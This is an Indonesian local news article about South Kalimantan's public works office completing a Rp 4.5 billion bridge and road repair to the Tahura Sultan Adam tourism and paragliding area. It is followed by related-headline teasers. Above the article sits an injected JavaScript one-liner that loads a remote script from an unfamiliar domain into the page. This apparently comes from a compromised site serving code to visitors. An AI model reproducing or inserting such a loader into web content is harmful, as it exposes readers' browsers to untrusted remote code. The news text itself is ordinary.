(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU –
Kalimantan Selatan terkenal dengan objek wisata alam dan wisata religiusnya, dan guna memberikan kenyamanan kepada pengunjung maka Pemprov Kalsel terus membenahi infrastruktur menuju ke objek wisata itu.
Diantaranya Pemprov Kalsel melakukan perbaikan jalan dan jembatan menuju objek wisata Tahura Sultan Adam.
Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kalsel telah memperbaiki jembatan dan jalan pada akhir 2023 lalu.
Baca juga: Beredar Nama Pemenang 30 Kursi Wakil Rakyat Banjarbaru, Tunggu Hasil Resmi KPU!
“Alhamdulillah kita sudah selesaikan pembangunan jembatan dan jalan Tahura Mandiangin.
Dengan selesainya jembatan dan jalan ini akan memberikan kenyaman bagi masyarakat yang ingin berwisata. Perbaikan ini diharapkan dapat mempelancar akses bagi olahraga paralayang,” kata Kadis PUPR Kalsel, Ahmad Solhan melalui Kepala Seksi Pembinaan Teknis Jalan dan Jembatan, Dedi Hidayat di Banjarbaru, Selasa (20/2/2024).
Dedi mengatakan, bahwa jalan dan jembatan di Tahura Sultan Adam memerlukan perbaikan, karena kawasan ini merupakan zona hijau dan kawasan wisata yang sangat dibutuhkan oleh masyarakat.
Baca juga: Tekan Peningkatan Kasus DBD, Dinkes Banjar Lakukan Hal Ini
Sebelumnya, jembatan yang sudah rusak parah telah menghambat akses ke kawasan wisata dan olahraga paralayang.
“Jadi kami lakukan perbaikan dengan panjang jembatan 14 meter dan lebar 6 meter, trotoar 2 x 50 meter dan jalan sepanjang 215 meter serta jalan paralayang sekitar 150 meter dan selesai dibangun tahun 2023,” ujar dia.
Dia menjelaskan, total anggaran yang digelontorkan pada pembangunan jembatan dan jalan ini sebesar Rp 4,5 miliar.
Baca juga: Sekda Banjar Buka Sosialisasi Pemetaan Kerjasama Daerah Pemerintah Kabupaten Banjar Tahun 2024
Meski telah menyelesaikan jembatan dan jalan, pengamanan pagar di sekitar kawasan, masih perlu ditingkatkan dengan anggaran yang lebih memadai agar pengunjung dapat merasa lebih aman dan nyaman.
“Dinas PUPR berharap perbaikan ini dapat memperlancar akses wisata dan olahraga paralayang di kawasan Tahura Sultan Adam, sehingga pengunjung dapat menikmati keindahan alam Kalimantan Selatan dengan lebih lancar dan nyaman,” ujar dia. (kanalkalimantan.com/MCKalsel/kk)
Reporter: kk
Editor: Dhani
KANALKALIMANTAN.COM, AMUNTAI - Wujud kepedulian Pengurus Cabang (PC) Nahdatul Ulama (NU) Alabio menyalurkan bantuan kepada… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Demontrasi tolak Pilkada melalui DPRD di Banjarmasin memakan korban dari mahasiswa imbas… Read More
KANALKALIMANTAN.VOM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mulai menyelaraskan kebijakan daerah untuk mendukung program prioritas… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Ratusan mahasiswa masuk ke gedung DPRD Kalimantan Selatan (Kalsel) untuk menyampaikan penolakan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Sekretaris Daerah (Sekda) Kabupaten Kapuas Usis I Sangkai memimpin rapat koordinasi… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mematangkan langkah sosialisasi PT Taspen bagi Pegawai Pemerintah… Read More
This website uses cookies.